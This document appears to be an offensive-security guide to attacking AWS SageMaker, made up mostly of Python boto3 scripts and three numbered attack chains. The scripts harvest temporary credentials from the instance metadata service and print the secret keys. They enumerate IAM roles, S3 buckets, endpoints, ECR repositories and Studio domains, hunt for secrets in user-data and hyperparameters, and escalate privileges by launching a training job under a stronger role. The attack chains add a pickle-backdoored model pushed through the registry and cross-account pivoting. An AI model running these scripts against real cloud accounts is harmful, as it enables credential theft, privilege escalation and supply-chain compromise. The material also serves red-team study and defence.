AWS SageMaker Attack Surface

import boto3
import requests
 
# From inside a SageMaker notebook, enumerate the execution role
sts = boto3.client('sts')
identity = sts.get_caller_identity()
print(f"Role ARN: {identity['Arn']}")
 
# Check what the role can do
iam = boto3.client('iam')
role_name = identity['Arn'].split('/')[-1]
 
# List attached policies
policies = iam.list_attached_role_policies(RoleName=role_name)
for policy in policies['AttachedPolicies']:
    print(f"Policy: {policy['PolicyName']}")
    # Get policy document to check permissions
    version = iam.get_policy(PolicyArn=policy['PolicyArn'])['Policy']['DefaultVersionId']
    doc = iam.get_policy_version(PolicyArn=policy['PolicyArn'], VersionId=version)
    print(doc['PolicyVersion']['Document'])

import boto3
import json
 
iam = boto3.client('iam')
sm = boto3.client('sagemaker')
sts = boto3.client('sts')
 
identity = sts.get_caller_identity()
current_role = identity['Arn'].split('/')[-1]
 
# Check if the role can pass other roles
try:
    # List all roles in the account
    roles = iam.list_roles()['Roles']
    sagemaker_roles = [
        r for r in roles
        if 'sagemaker' in r['RoleName'].lower()
        or 'SageMaker' in json.dumps(r.get('AssumeRolePolicyDocument', {}))
    ]
 
    print(f"Current role: {current_role}")
    print(f"SageMaker-related roles found: {len(sagemaker_roles)}")
    for role in sagemaker_roles:
        print(f"  {role['RoleName']} - {role['Arn']}")
 
        # Check if this role has more permissions
        attached = iam.list_attached_role_policies(
            RoleName=role['RoleName']
        )['AttachedPolicies']
        for policy in attached:
            print(f"    Policy: {policy['PolicyName']}")
 
except Exception as e:
    print(f"Cannot enumerate roles: {e}")
 
# Attempt to create a training job with a higher-privilege role
def escalate_via_training_job(target_role_arn):
    """Launch a training job that exfiltrates credentials from a
    higher-privilege role."""
    sm.create_training_job(
        TrainingJobName='security-test-escalation',
        RoleArn=target_role_arn,  # The higher-privilege role
        AlgorithmSpecification={
            'TrainingImage': '763104351884.dkr.ecr.us-east-1.amazonaws.com/'
                             'pytorch-training:2.0.0-cpu-py310',
            'TrainingInputMode': 'File'
        },
        ResourceConfig={
            'InstanceType': 'ml.m5.large',
            'InstanceCount': 1,
            'VolumeSizeInGB': 10
        },
        StoppingCondition={'MaxRuntimeInSeconds': 300},
        InputDataConfig=[{
            'ChannelName': 'training',
            'DataSource': {
                'S3DataSource': {
                    'S3DataType': 'S3Prefix',
                    'S3Uri': 's3://bucket/data/'
                }
            }
        }],
        OutputDataConfig={
            'S3OutputPath': 's3://bucket/output/'
        }
    )

# SageMaker instances use IMDS v1 by default (may be v2 in newer configs)
import requests
 
# Get temporary credentials from instance metadata
role_name = requests.get(
    'http://169.254.169.254/latest/meta-data/iam/security-credentials/'
).text
creds = requests.get(
    f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}'
).json()
 
print(f"AccessKeyId: {creds['AccessKeyId']}")
print(f"SecretAccessKey: {creds['SecretAccessKey']}")
print(f"Token: {creds['Token']}")

import requests
 
# IMDSv2 requires a PUT to get a session token first
token_resp = requests.put(
    'http://169.254.169.254/latest/api/token',
    headers={'X-aws-ec2-metadata-token-ttl-seconds': '21600'}
)
imds_token = token_resp.text
 
# Use the token to access metadata
headers = {'X-aws-ec2-metadata-token': imds_token}
 
# Get instance identity document
identity = requests.get(
    'http://169.254.169.254/latest/dynamic/instance-identity/document',
    headers=headers
).json()
print(f"Region: {identity['region']}")
print(f"Account: {identity['accountId']}")
print(f"Instance: {identity['instanceId']}")
 
# Get credentials
role_name = requests.get(
    'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
    headers=headers
).text
creds = requests.get(
    f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}',
    headers=headers
).json()
print(f"Access Key: {creds['AccessKeyId']}")
print(f"Expiration: {creds['Expiration']}")
 
# Also extract user-data (may contain initialization scripts with secrets)
user_data = requests.get(
    'http://169.254.169.254/latest/user-data',
    headers=headers
).text
print(f"User data length: {len(user_data)} bytes")
if user_data:
    # Check for common secrets in user data
    for keyword in ['password', 'secret', 'token', 'key', 'credential']:
        if keyword.lower() in user_data.lower():
            print(f"  [!] User data may contain '{keyword}'")

import boto3
 
sm = boto3.client('sagemaker')
runtime = boto3.client('sagemaker-runtime')
 
# List all endpoints
endpoints = sm.list_endpoints()['Endpoints']
for ep in endpoints:
    config = sm.describe_endpoint(EndpointName=ep['EndpointName'])
    print(f"Endpoint: {ep['EndpointName']}")
    print(f"  Status: {config['EndpointStatus']}")
    print(f"  Created: {config['CreationTime']}")
 
    # Attempt invocation
    try:
        response = runtime.invoke_endpoint(
            EndpointName=ep['EndpointName'],
            ContentType='application/json',
            Body='{"inputs": "test"}'
        )
        print(f"  Response: {response['Body'].read()[:200]}")
    except Exception as e:
        print(f"  Error: {e}")

import boto3
import json
 
sm = boto3.client('sagemaker')
 
def analyze_endpoint_security(endpoint_name):
    """Comprehensive endpoint security assessment."""
    # Get endpoint config
    endpoint = sm.describe_endpoint(EndpointName=endpoint_name)
    config_name = endpoint['EndpointConfigName']
    config = sm.describe_endpoint_config(EndpointConfigName=config_name)
 
    results = {"endpoint": endpoint_name, "findings": []}
 
    # Check VPC configuration
    for variant in config['ProductionVariants']:
        model = sm.describe_model(ModelName=variant['ModelName'])
 
        # Check if model runs in VPC
        if 'VpcConfig' not in model:
            results["findings"].append({
                "severity": "HIGH",
                "finding": f"Model {variant['ModelName']} not in VPC"
            })
 
        # Check the model execution role
        role_arn = model['ExecutionRoleArn']
        results["findings"].append({
            "severity": "INFO",
            "finding": f"Model role: {role_arn}"
        })
 
        # Check container image source
        container = model.get('PrimaryContainer', {})
        image = container.get('Image', 'Unknown')
        results["findings"].append({
            "severity": "INFO",
            "finding": f"Container image: {image}"
        })
 
        # Check for model data (S3 path to model artifacts)
        model_data = container.get('ModelDataUrl', 'None')
        if model_data != 'None':
            results["findings"].append({
                "severity": "MEDIUM",
                "finding": f"Model artifacts at: {model_data}"
            })
 
    # Check data capture configuration (may leak inference data)
    if 'DataCaptureConfig' in config:
        capture = config['DataCaptureConfig']
        if capture.get('EnableCapture'):
            results["findings"].append({
                "severity": "MEDIUM",
                "finding": f"Data capture enabled -> {capture.get('DestinationS3Uri')}"
            })
 
    return results
 
# Run analysis for all endpoints
for ep in sm.list_endpoints()['Endpoints']:
    analysis = analyze_endpoint_security(ep['EndpointName'])
    print(json.dumps(analysis, indent=2, default=str))

# Enumerate S3 buckets used by SageMaker
s3 = boto3.client('s3')
buckets = s3.list_buckets()['Buckets']
sagemaker_buckets = [b for b in buckets if 'sagemaker' in b['Name'].lower()]
 
for bucket in sagemaker_buckets:
    print(f"\nBucket: {bucket['Name']}")
    objects = s3.list_objects_v2(Bucket=bucket['Name'], MaxKeys=20)
    for obj in objects.get('Contents', []):
        print(f"  {obj['Key']} ({obj['Size']} bytes)")

import boto3
 
sm = boto3.client('sagemaker')
s3 = boto3.client('s3')
 
# List recent training jobs to find data locations
jobs = sm.list_training_jobs(
    SortBy='CreationTime',
    SortOrder='Descending',
    MaxResults=20
)
 
for job_summary in jobs['TrainingJobSummaries']:
    job = sm.describe_training_job(
        TrainingJobName=job_summary['TrainingJobName']
    )
    print(f"\nJob: {job['TrainingJobName']}")
    print(f"  Status: {job['TrainingJobStatus']}")
    print(f"  Role: {job['RoleArn']}")
 
    # Extract input data locations
    for channel in job.get('InputDataConfig', []):
        s3_uri = channel['DataSource']['S3DataSource']['S3Uri']
        print(f"  Input ({channel['ChannelName']}): {s3_uri}")
 
    # Extract output location
    output_uri = job['OutputDataConfig']['S3OutputPath']
    print(f"  Output: {output_uri}")
 
    # Extract model artifacts (the trained model)
    if 'ModelArtifacts' in job:
        model_uri = job['ModelArtifacts']['S3ModelArtifacts']
        print(f"  Model: {model_uri}")
 
    # Check for hyperparameters (may contain secrets or API keys)
    hyperparams = job.get('HyperParameters', {})
    for key, value in hyperparams.items():
        if any(kw in key.lower() for kw in
               ['key', 'secret', 'token', 'password', 'api']):
            print(f"  [!] Suspicious hyperparameter: {key}={value[:20]}...")

import boto3
import json
 
ecr = boto3.client('ecr')
 
# List all repositories
repos = ecr.describe_repositories()['repositories']
ml_repos = [r for r in repos if any(
    kw in r['repositoryName'].lower()
    for kw in ['sagemaker', 'ml', 'model', 'inference', 'training']
)]
 
for repo in ml_repos:
    print(f"\nRepository: {repo['repositoryName']}")
    print(f"  URI: {repo['repositoryUri']}")
    print(f"  Created: {repo['createdAt']}")
 
    # Check image scan findings
    images = ecr.list_images(
        repositoryName=repo['repositoryName'],
        maxResults=5
    )['imageIds']
 
    for image in images:
        if 'imageTag' in image:
            print(f"  Image: {image['imageTag']}")
            try:
                scan = ecr.describe_image_scan_findings(
                    repositoryName=repo['repositoryName'],
                    imageId=image
                )
                vulns = scan['imageScanFindings']['findingSeverityCounts']
                print(f"    Vulnerabilities: {json.dumps(vulns)}")
            except ecr.exceptions.ScanNotFoundException:
                print(f"    [!] No vulnerability scan results")
 
    # Check repository policy (who can push/pull)
    try:
        policy = ecr.get_repository_policy(
            repositoryName=repo['repositoryName']
        )
        policy_doc = json.loads(policy['policyText'])
        for stmt in policy_doc.get('Statement', []):
            print(f"  Policy: {stmt.get('Effect')} - "
                  f"{stmt.get('Principal', {})}")
    except ecr.exceptions.RepositoryPolicyNotFoundException:
        print(f"  No repository policy (default account access only)")

import boto3
 
sm = boto3.client('sagemaker')
efs = boto3.client('efs')
 
# List Studio domains
domains = sm.list_domains()['Domains']
for domain in domains:
    detail = sm.describe_domain(DomainId=domain['DomainId'])
    print(f"\nDomain: {detail['DomainName']}")
    print(f"  Auth: {detail['AuthMode']}")
    print(f"  VPC: {detail.get('VpcId', 'No VPC')}")
    print(f"  EFS: {detail.get('HomeEfsFileSystemId', 'N/A')}")
 
    # Default execution role applies to all users
    default_settings = detail.get('DefaultUserSettings', {})
    print(f"  Default role: {default_settings.get('ExecutionRole', 'N/A')}")
 
    # List user profiles
    profiles = sm.list_user_profiles(DomainIdEquals=domain['DomainId'])
    for profile in profiles['UserProfiles']:
        user_detail = sm.describe_user_profile(
            DomainId=domain['DomainId'],
            UserProfileName=profile['UserProfileName']
        )
        user_role = user_detail.get('UserSettings', {}).get('ExecutionRole')
        print(f"  User: {profile['UserProfileName']} "
              f"(role: {user_role or 'uses default'})")
 
    # Check if the EFS is accessible
    if 'HomeEfsFileSystemId' in detail:
        efs_id = detail['HomeEfsFileSystemId']
        try:
            fs = efs.describe_file_systems(FileSystemId=efs_id)
            print(f"  EFS size: {fs['FileSystems'][0]['SizeInBytes']['Value']} bytes")
            # Check mount targets for network exposure
            mounts = efs.describe_mount_targets(FileSystemId=efs_id)
            for mt in mounts['MountTargets']:
                print(f"  EFS mount: {mt['IpAddress']} in {mt['SubnetId']}")
        except Exception as e:
            print(f"  EFS access error: {e}")

1. Initial access: Compromised data scientist credentials or malicious .ipynb file
2. IMDS credential harvesting from notebook instance
3. Enumerate IAM role permissions -- discover AmazonSageMakerFullAccess
4. List S3 buckets matching sagemaker-* pattern
5. Access training data, model artifacts, and pipeline outputs
6. Discover iam:PassRole permission in the execution role
7. Launch training job with a higher-privilege role
8. Use escalated role to access non-SageMaker resources (RDS, DynamoDB, etc.)

1. Gain access to a SageMaker execution role with model registry permissions
2. Download the latest approved model from S3
3. Modify model artifact to include a backdoor (e.g., pickle-based RCE in PyTorch model)
4. Register the modified model as a new version in the model registry
5. If automatic deployment is configured, the backdoored model reaches production
6. Backdoored model executes attacker code on every inference request

1. Discover SageMaker endpoint with cross-account IAM trust
2. Invoke endpoint with crafted payloads to test for model vulnerabilities
3. If model inference container has outbound network access, use it as proxy
4. Leverage endpoint role's cross-account permissions to access resources
   in other AWS accounts within the organization